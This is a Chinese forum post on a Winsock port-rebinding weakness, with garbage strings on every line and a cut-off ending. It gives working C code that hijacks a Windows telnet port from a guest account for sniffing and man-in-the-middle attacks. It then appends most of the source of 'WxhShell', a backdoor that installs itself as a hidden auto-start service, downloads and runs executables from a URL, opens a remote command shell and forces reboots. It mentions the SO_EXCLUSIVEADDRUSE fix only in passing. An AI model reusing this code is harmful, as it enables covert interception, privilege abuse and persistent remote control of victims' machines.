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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { SF'YbY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p;qFMzyS9  
wpWZn[j  
  saddr.sin_family = AF_INET; C2CR#b=)i  
{[4.<|26  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Up1 n0  
tkYPfUvTE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cOf.z)kf6  
e ?7y$H-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :q c?FQ ;  
pocXQEg$]  
  这意味着什么?意味着可以进行如下的攻击: z}Lf]w?  
Y[N@ )E_G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6u'E}hAx|  
B)*1[Jf{4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :9DyABK=Cv  
\JC_"gqt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bE,#,  
:N !s@6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .,sbqL  
O5MV&Zb(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "574%\#4z  
0Bt>JbGs4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eiCmd =O7  
$O&N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9?q ^yy  
Ei<m/v  
  #include l,6' S8=  
  #include  1p K(tm  
  #include DS+BX`i%#p  
  #include    _ FNW[V  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OHwH(}H?  
  int main() D9  Mst6  
  { ~W-l|-eogz  
  WORD wVersionRequested; f %3MDI  
  DWORD ret; /2''EF';  
  WSADATA wsaData; SKF0p))BJ  
  BOOL val; 'C=(?H)M  
  SOCKADDR_IN saddr; L=<$^m  
  SOCKADDR_IN scaddr; U'^ G-@  
  int err; l, 9r d[  
  SOCKET s; Ng1bjq}E2  
  SOCKET sc; TS`m&N{i")  
  int caddsize;  @EURp  
  HANDLE mt; g[' 7$  
  DWORD tid;   La28%10  
  wVersionRequested = MAKEWORD( 2, 2 ); HWIn.ij  
  err = WSAStartup( wVersionRequested, &wsaData ); \T[OF8yhW  
  if ( err != 0 ) { O6vHo3k  
  printf("error!WSAStartup failed!\n"); DJ0jtv6nQ-  
  return -1; )gz]F_  
  } gL~3z'$  
  saddr.sin_family = AF_INET; $VjMd f  
   1Q=L/k eP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /oZvm   
g##<d(e!}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Pc`)D:/}R  
  saddr.sin_port = htons(23); p(-EtxP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *Kpw@4G   
  { *ZV3]ig2$  
  printf("error!socket failed!\n"); ecx_&J@D  
  return -1; /3.;sS]B  
  } He$v '87]  
  val = TRUE; )Y&B63]B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RD0*]4>]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) } @ [!%hE  
  { AQtOTT$  
  printf("error!setsockopt failed!\n"); 2kOaKH[(q  
  return -1;  k{'<J(Hb  
  } OJ7 Uh_;/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L8Q/!+K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o6RT4`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x[fp7*TiG  
7L!}F;yT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0$NzRPbH  
  { r oPC ^Q  
  ret=GetLastError(); PT~F ^8,)  
  printf("error!bind failed!\n"); oB@)!'  
  return -1; cuI&Q?+c}  
  } A6+qS [  
  listen(s,2); X40JCQx{+  
  while(1) 1;?w#/&t  
  { VU6+" 2+'2  
  caddsize = sizeof(scaddr); Lctp=X4  
  //接受连接请求 9=FH2|Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q-A_8  
  if(sc!=INVALID_SOCKET) iaQfxQP1w%  
  { z8r?C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @My RcC  
  if(mt==NULL) &xvNR=K[`  
  { E:O/=cT  
  printf("Thread Creat Failed!\n"); e\O625  
  break; ADM!4L(s4}  
  } P8H2v_)X&  
  } SmRFxqtN  
  CloseHandle(mt); unRFcjEa  
  } J7`;l6+Gb  
  closesocket(s); 4uh~@Lv  
  WSACleanup(); ks69Z|D  
  return 0; 1d842pt  
  }   <;@E .I\N  
  DWORD WINAPI ClientThread(LPVOID lpParam) [h_d1\ Cr  
  { i-#Dc (9  
  SOCKET ss = (SOCKET)lpParam; foBF]7Bz?  
  SOCKET sc; ?=1i:h  
  unsigned char buf[4096]; 6mIeV0Q'  
  SOCKADDR_IN saddr; "r8N- h/P  
  long num; mwn$ey&QE  
  DWORD val; &4%78K\  
  DWORD ret; Z2-tDp(I  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &_s^C?x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6(7dr?^eGT  
  saddr.sin_family = AF_INET; ;mr*$Iu7|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6ZwQ/~7H  
  saddr.sin_port = htons(23); nEP3B '+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _mQj=  
  { /1m+iM^V  
  printf("error!socket failed!\n"); il"pKQF  
  return -1;  R7;X  
  } |Bv,*7i&  
  val = 100; ]dV $H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ++ 5!8Nv  
  { a<]vHC7  
  ret = GetLastError(); eYn/F~5-  
  return -1; wzmQRn;s  
  } +QOK]NJN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YG5mzP<T  
  { {$ pi};  
  ret = GetLastError(); ,1.Td=lY$  
  return -1; w_;$ahsu~  
  } }IdkXAB.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ynf!1!4  
  { loHMQKy@  
  printf("error!socket connect failed!\n"); <]_[o:nOP  
  closesocket(sc); 90-s@a3B-j  
  closesocket(ss); ;TK$?hrv*1  
  return -1; *(XGNp[0  
  } bPkz=^-  
  while(1) pB]*cd B?  
  { 32y 9rz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 yigq#h^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YN7O Qqa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cBU3Q<^  
  num = recv(ss,buf,4096,0); hBifn\dFr  
  if(num>0) ah(k!0PV  
  send(sc,buf,num,0); d DAl n+  
  else if(num==0) DeeV;?:  
  break; epG =)gd=8  
  num = recv(sc,buf,4096,0); 16nU`TN  
  if(num>0) D'^%Q_;u  
  send(ss,buf,num,0); b.8T<@a  
  else if(num==0) YY$Z-u(  
  break; ,Ij/ ^EC}  
  } h2= wC.  
  closesocket(ss);  [@3.dd  
  closesocket(sc); b`Jsu!?{  
  return 0 ; W59xe&l  
  } *o!#5c  
p;D {?H/  
OB^j b8  
========================================================== MUCes3YJH  
(\wV)c9  
下边附上一个代码,,WXhSHELL [M:<!QXw  
ytV[x  
========================================================== Bt1v7M  
CHjm7  
#include "stdafx.h" ,w=u?  
6\VZ 6oS  
#include <stdio.h> eOfVBF<C2  
#include <string.h> J$T(p%  
#include <windows.h> G,1g~h%I$  
#include <winsock2.h> }I#_H  
#include <winsvc.h> v-"nyy-&Z  
#include <urlmon.h> !kH 1|  
0,8RA_Ca}  
#pragma comment (lib, "Ws2_32.lib") C~nL3w  
#pragma comment (lib, "urlmon.lib") 3{Zd<JYg4-  
ZsYY)<n  
#define MAX_USER   100 // 最大客户端连接数 l&m Y}k  
#define BUF_SOCK   200 // sock buffer v0bP|h[t  
#define KEY_BUFF   255 // 输入 buffer HV]u9nrt#  
9Sa6v?sRor  
#define REBOOT     0   // 重启 xK5~9StP  
#define SHUTDOWN   1   // 关机 7xO~v23oe  
)YZx]6\l)  
#define DEF_PORT   5000 // 监听端口 ^ ]+vtk  
wS >S\,LV  
#define REG_LEN     16   // 注册表键长度 [L ' >  
#define SVC_LEN     80   // NT服务名长度 6JR FYgI  
ivt ~ S  
// 从dll定义API v_pFI8Cz)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0xaK"\Q   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [l7n "gJ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `_]UlI_h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jz>b>;  
vfc,{F=Q  
// wxhshell配置信息 'e$8 IZm  
struct WSCFG { 2p58_^l  
  int ws_port;         // 监听端口 o!c~"  
  char ws_passstr[REG_LEN]; // 口令 'TA !JB+  
  int ws_autoins;       // 安装标记, 1=yes 0=no pTncx%!W5  
  char ws_regname[REG_LEN]; // 注册表键名 kjOkPp  
  char ws_svcname[REG_LEN]; // 服务名 ;hEeFJ=/G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1F+JyZK}w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )@=fGNDt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [dqh-7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ''q#zEf6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L!`PM.:9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _NpxV'E  
U8,pe;/ln`  
}; e+<9Sh7&  
5ci1ce  
// default Wxhshell configuration T {=&>pNK[  
struct WSCFG wscfg={DEF_PORT, @%fL*^yr;C  
    "xuhuanlingzhe", 6* 0vUy*"  
    1, >Nx4 +|  
    "Wxhshell", "3_GFq  
    "Wxhshell", c'5ls7?}O{  
            "WxhShell Service", 1S yG  
    "Wrsky Windows CmdShell Service", :YLurng/]  
    "Please Input Your Password: ", k[@/N+;")`  
  1, ~]'yUd1gSZ  
  "http://www.wrsky.com/wxhshell.exe", gg Nvm  
  "Wxhshell.exe" Y n0iu$;n  
    }; :-(qqC:  
%c8@  
// 消息定义模块 +jKu^f6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PSyUC#;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rfr]bq5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9w=[}<E  
char *msg_ws_ext="\n\rExit."; k]2_vk^  
char *msg_ws_end="\n\rQuit."; MN:LL <  
char *msg_ws_boot="\n\rReboot..."; E Q:6R|L  
char *msg_ws_poff="\n\rShutdown..."; |=V~CQ]  
char *msg_ws_down="\n\rSave to "; y'non0P.  
>Pvz5Hf/wW  
char *msg_ws_err="\n\rErr!"; ;krIuk-  
char *msg_ws_ok="\n\rOK!"; h R6Pj"@0  
Ry?f; s  
char ExeFile[MAX_PATH]; iqN?'8  
int nUser = 0; ^ohIJcI-  
HANDLE handles[MAX_USER]; ksUF(lYk  
int OsIsNt; Q^* 3 3  
.>LJ(Sx9b  
SERVICE_STATUS       serviceStatus; Z'|k M!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dfZ`M^NU  
s .+`"rK  
// 函数声明 v I,T1%llu  
int Install(void); oa`7ClzD  
int Uninstall(void); ~@T`0W-Py  
int DownloadFile(char *sURL, SOCKET wsh); i)$<j!L  
int Boot(int flag); Jje!*?&8X  
void HideProc(void); x@[6u  
int GetOsVer(void); k~, k@mR  
int Wxhshell(SOCKET wsl); ,ne3uPRu7~  
void TalkWithClient(void *cs); O%px>rdkY  
int CmdShell(SOCKET sock); ud"Kko Rt  
int StartFromService(void); =1<v1s|)q  
int StartWxhshell(LPSTR lpCmdLine); wxT( ktE  
QV4FA&f&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4=N(@mS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Yb1Q6[!  
a>Zp?*9  
// 数据结构和表定义 sk AF6n  
SERVICE_TABLE_ENTRY DispatchTable[] = {i}E)Np  
{ k+Z2)j"  
{wscfg.ws_svcname, NTServiceMain}, [khXAf1{Q  
{NULL, NULL} zJ@^Bw;A^@  
}; ntW1 )H'o  
S,Tc\}  
// 自我安装 Aq\K N.  
int Install(void) Ch:EL-L  
{ nlaW$b{=  
  char svExeFile[MAX_PATH]; P]armg%  
  HKEY key; b[:{\ !I  
  strcpy(svExeFile,ExeFile); _KkP{g,Y  
xV=Tmu6l  
// 如果是win9x系统,修改注册表设为自启动 usC$NVdm  
if(!OsIsNt) { '}"&JO~vPj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S0}=uL#dt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wN :"(mQ  
  RegCloseKey(key); xn,9Wj-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :+"H h%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2gR*]?C*  
  RegCloseKey(key); 1+YqdDqQ  
  return 0; P+QL||>L  
    } syI|gANT/r  
  } 'g3T'2"`5  
} +(^H L3  
else { 8IE^u<H(:  
%Y>E  
// 如果是NT以上系统,安装为系统服务 &So1;RR,_M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !SIk9~rJ  
if (schSCManager!=0) sRqecG(n  
{ uL^`uI#I  
  SC_HANDLE schService = CreateService .8T0OQ4  
  ( |=MhI5gsx  
  schSCManager, vo%"(!  
  wscfg.ws_svcname, 2U( qyC  
  wscfg.ws_svcdisp, 0N$FIw2  
  SERVICE_ALL_ACCESS, %$i}[ U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W+$G{XSr5C  
  SERVICE_AUTO_START, ./L)BLC i  
  SERVICE_ERROR_NORMAL, K9y~ e  
  svExeFile, U3Z-1G~*r  
  NULL, PTqia!  
  NULL, r4<aEj;l  
  NULL, beSU[  
  NULL, p@[ fZj  
  NULL 8@RtL,[d  
  ); q6<P\CSHy<  
  if (schService!=0) %l6E0[   
  { 9C0#K\  
  CloseServiceHandle(schService); &b7_%,Bx4  
  CloseServiceHandle(schSCManager); 1ANb=X|hig  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k%Vprc  
  strcat(svExeFile,wscfg.ws_svcname); _x|.\j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lk[Y6yE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n?;rWq"  
  RegCloseKey(key); ;_2+Y^Qb  
  return 0; K1Uq` TJ  
    } t,IOq[Vtk  
  } PB?2{Cj  
  CloseServiceHandle(schSCManager); =I@I  
} =0!j"z=  
} j<k6z   
|"I)1[7  
return 1; yMTO5~U{  
} `48Ql  
[[zN Aq)"  
// 自我卸载 _SJ:|I  
int Uninstall(void) u6 Lx3  
{ HD/!J9&  
  HKEY key; %OHZOs  
%.?V\l  
if(!OsIsNt) { E)ZL+(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /jGV[_Q=P  
  RegDeleteValue(key,wscfg.ws_regname); >#k- ~|w  
  RegCloseKey(key); ^YropzHZ4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &i.sSqSI5  
  RegDeleteValue(key,wscfg.ws_regname); h /^bRs`;  
  RegCloseKey(key); f-71`Pyb  
  return 0; Qh(X7B  
  } FROC/'  
} >%0$AW|Exu  
} _B&Lyg !J  
else { !!H"B('m  
l{>j8Ln  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r[H8;&EL  
if (schSCManager!=0) @NqwJ.%g  
{ BP0:<vK{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W)/^*, Q7  
  if (schService!=0) "Y=`w,~~  
  { T'@+MA) ~  
  if(DeleteService(schService)!=0) { >m. .  
  CloseServiceHandle(schService); oPM*VTMA  
  CloseServiceHandle(schSCManager); 13`Mt1R  
  return 0; |K06H ?6X  
  } v{fcQb  
  CloseServiceHandle(schService); ii-AE L  
  } >3Q|k{97  
  CloseServiceHandle(schSCManager); y!.jpF'uI  
} RZ xwr  
} IT&,?u%  
%S}uCqcAK  
return 1; 6/Xs}[iJ  
} ,3y9yJQa*#  
Z>Mv$F"p:  
// 从指定url下载文件 cgSN:$p(R  
int DownloadFile(char *sURL, SOCKET wsh) <7`zc7c]#  
{ 9S*"={}%  
  HRESULT hr; _gI1rXI  
char seps[]= "/"; C5,fX-2Q  
char *token; \ '4~@  
char *file; bAGKi.  
char myURL[MAX_PATH]; G9 O6Fi  
char myFILE[MAX_PATH]; %.<_+V#h  
@XV&^l -  
strcpy(myURL,sURL); '.(Gg%*\.  
  token=strtok(myURL,seps); o1x1SH  
  while(token!=NULL) b' y*\9Ru  
  { q1( [mHZ  
    file=token; n]ba1t8ZA  
  token=strtok(NULL,seps); x9 %=d  
  } '2H?c<Y3  
\`2'W1O  
GetCurrentDirectory(MAX_PATH,myFILE); t'l4$}(  
strcat(myFILE, "\\"); MmR6V#@:  
strcat(myFILE, file); ~<m^  
  send(wsh,myFILE,strlen(myFILE),0); r~j [Qm"CJ  
send(wsh,"...",3,0); DylO;+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7MLLx#U  
  if(hr==S_OK) '#V@a  
return 0; _>R aw  
else h<`aL;.g  
return 1; Y(.e e%;,  
h @!p:]  
} hx$61 E=  
:Kwu{<rJ!(  
// 系统电源模块 <f>w"r  
int Boot(int flag) \7r0]& _  
{ >8>!wi9U  
  HANDLE hToken; ,=P&{38\q  
  TOKEN_PRIVILEGES tkp; =GPXuo  
3k`Q]O=OU  
  if(OsIsNt) { LV^^Bd8Ct  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v$|~ g'6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3SP";3+  
    tkp.PrivilegeCount = 1; :*M?RL@j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m-vn5OX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K)7T]z`  
if(flag==REBOOT) { l< f9$l^U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 10Ik_L='  
  return 0; <\~v$=G  
} _SAM8!q4,  
else { ,X4+i8Yc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [-])$~WfW  
  return 0; w={q@. g%  
} o@e/P;E  
  } d_@ E4i  
  else {  Sfz1p  
if(flag==REBOOT) { +[!S[KE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EfrQ~`\  
  return 0; ,Vhve'=*2  
} N3n]  
else { OlOOg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i/x |c!E  
  return 0; )4L2&e`k)(  
} ^ ` y7JXI:  
} CUu Owx6%  
4 XjwU`  
return 1; wtTy(j,9  
} .h-mFcjy  
d m8t ~38  
// win9x进程隐藏模块 iBSM \ n  
void HideProc(void) }qn>#ETi  
{ #'_#t/u  
G% tlV&In  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $[>{s9E  
  if ( hKernel != NULL ) &<V U}c^!  
  { gwoe1:F:J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *#T: _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _O`p(6  
    FreeLibrary(hKernel); h0tiWHw  
  } PR%)3  
)@NFV*@I  
return; i1vz{Tc  
} d4S4 e  
V*jl  
// 获取操作系统版本 )QE6X67i  
int GetOsVer(void) &n6{wtBP  
{ Z<nNk.G  
  OSVERSIONINFO winfo; lYG`)#T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NN*L3yx  
  GetVersionEx(&winfo); jIubJQR~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }?s-$@$R  
  return 1; 23gN;eD+m6  
  else FEjO}lTK  
  return 0; *7xcwj eP  
} oy^-?+   
$hhXsu=  
// 客户端句柄模块 |>;PV4])(  
int Wxhshell(SOCKET wsl) ,*|Q=  
{ 4$xVm,n|  
  SOCKET wsh; :#YC_ id  
  struct sockaddr_in client; ,HZ%q]*:~  
  DWORD myID; zm&[K53  
2{79,Js0  
  while(nUser<MAX_USER) lVvcrU  
{ os/h~,=  
  int nSize=sizeof(client); fsL9d}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @+b$43 ^  
  if(wsh==INVALID_SOCKET) return 1; f24W*#IX  
C+NN.5No  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ``l*;}  
if(handles[nUser]==0) ${Un#]g  
  closesocket(wsh); xt^1,V4Ei~  
else }Va((X w  
  nUser++; ZmsYRk~@-  
  } 1Wpu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vB7Gx>BQd  
Fv^zSoi2  
  return 0; 1&boD\ 7  
} \CjJa(vV  
w}3N!jNDv  
// 关闭 socket X _ZO)|  
void CloseIt(SOCKET wsh) D6bYg `  
{ |+ F ~zIu'  
closesocket(wsh); 5P!ZGbG  
nUser--; +e{ui +  
ExitThread(0); fd'kv  
} +``vnC  
rCPIz<  
// 客户端请求句柄 %'KRbY  
void TalkWithClient(void *cs) \?n6l7*t>  
{ ]Y [N=G  
:nIMZRJ_!E  
  SOCKET wsh=(SOCKET)cs; h#YO;m2wd  
  char pwd[SVC_LEN]; RTmp$lV  
  char cmd[KEY_BUFF]; NXOXN]=c<  
char chr[1]; )E9!m  
int i,j; 2.v{W-D[  
AU9C#;JD  
  while (nUser < MAX_USER) { JvAXLT  
o +$v0vg%T  
if(wscfg.ws_passstr) { )g@+ MR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NY.Cr.}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IBa0O|*6  
  //ZeroMemory(pwd,KEY_BUFF); MLd; UHU  
      i=0; \IL)~5d  
  while(i<SVC_LEN) { |4@cX<d.  
_Raf7W  
  // 设置超时 hz:7W8  
  fd_set FdRead; p<L7qwOii  
  struct timeval TimeOut; B?j t?  
  FD_ZERO(&FdRead); /|v4]t-  
  FD_SET(wsh,&FdRead); H:DR?'yW  
  TimeOut.tv_sec=8; [%K6-\S  
  TimeOut.tv_usec=0; x1 |/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vkG#G]Qs";  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E)*ht;u  
&wQ;J)13  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); edL2ax  
  pwd=chr[0]; Ze0qRLuH!  
  if(chr[0]==0xd || chr[0]==0xa) { 0nt@}\j  
  pwd=0; DtANb^  
  break; !<];N0nt#  
  } %+'Ex]B  
  i++; {"]!zL  
    } 2^'Ec:|f  
ys`-QlkB  
  // 如果是非法用户,关闭 socket fG0ZVV!   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #L.,aTA<  
} sa.H,<;  
VP1hocW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F6U#EvL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ] 2 `%i5  
'Ix@<$~i3F  
while(1) { #zsaQg, B  
EDnNS  
  ZeroMemory(cmd,KEY_BUFF); z6`0Uv~  
-E}X`?WhD  
      // 自动支持客户端 telnet标准    /b=C  
  j=0; ;^N lq3N  
  while(j<KEY_BUFF) { #da{3>z:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Y~"Stmx  
  cmd[j]=chr[0]; e=&~6bs1U  
  if(chr[0]==0xa || chr[0]==0xd) { f\R_a/Us  
  cmd[j]=0; KS*,'hvY  
  break; W`x.qumN  
  } znrO~OK  
  j++; cX9o'e:C  
    } qt L]x -O  
4. R(`#f  
  // 下载文件 uX-^ 9t  
  if(strstr(cmd,"http://")) { h\!8*e;RAW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5 tKgm/  
  if(DownloadFile(cmd,wsh)) gGP6"|tc4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6d0j)YO  
  else $.D )Llcq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QD7KE6KP'  
  } ,P9F*;Dj  
  else { bll[E}E|3  
3VLwY!2:  
    switch(cmd[0]) { +6uf6&.@~  
  #e@NV4q  
  // 帮助 aV$kxzEc  
  case '?': { brmS J7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t"B3?<?]  
    break; Ue \A ,  
  } JtO}i{A  
  // 安装 E_~e/y"-  
  case 'i': { CT'4.  
    if(Install()) g(pr.Dw6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#y2R F8j  
    else g7! LX[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C<_\{de|9  
    break; vD8pVR+  
    } %%K3J<5  
  // 卸载 }Nr6oUn  
  case 'r': { KKsVZ~<6u  
    if(Uninstall()) ^N^G?{EV/#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUlf4<_zW  
    else (m'-1wX.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #HV5M1mb  
    break; }K?b2 6`  
    } ;t*SG*Vi  
  // 显示 wxhshell 所在路径 Gy \ ]j  
  case 'p': { (l%?YME  
    char svExeFile[MAX_PATH]; 68j1s vz9  
    strcpy(svExeFile,"\n\r"); ,< g%}P/  
      strcat(svExeFile,ExeFile); 2Vti|@JYp  
        send(wsh,svExeFile,strlen(svExeFile),0); Jk%5Fw0  
    break; C&yZ`[K  
    } C<=rnIf'  
  // 重启 4^r6RS@z  
  case 'b': { =Xvm#/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +d#8/S*  
    if(Boot(REBOOT)) IM1&g7Qs2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Fc]mcJ69  
    else { [\3ZMH *  
    closesocket(wsh); F'|K>!H  
    ExitThread(0); }Hb0@ b_  
    } /)kJ iV  
    break; ?lkB{-%rQ  
    } @2T8H  
  // 关机 }vh <x6  
  case 'd': { *f 7rLM*  
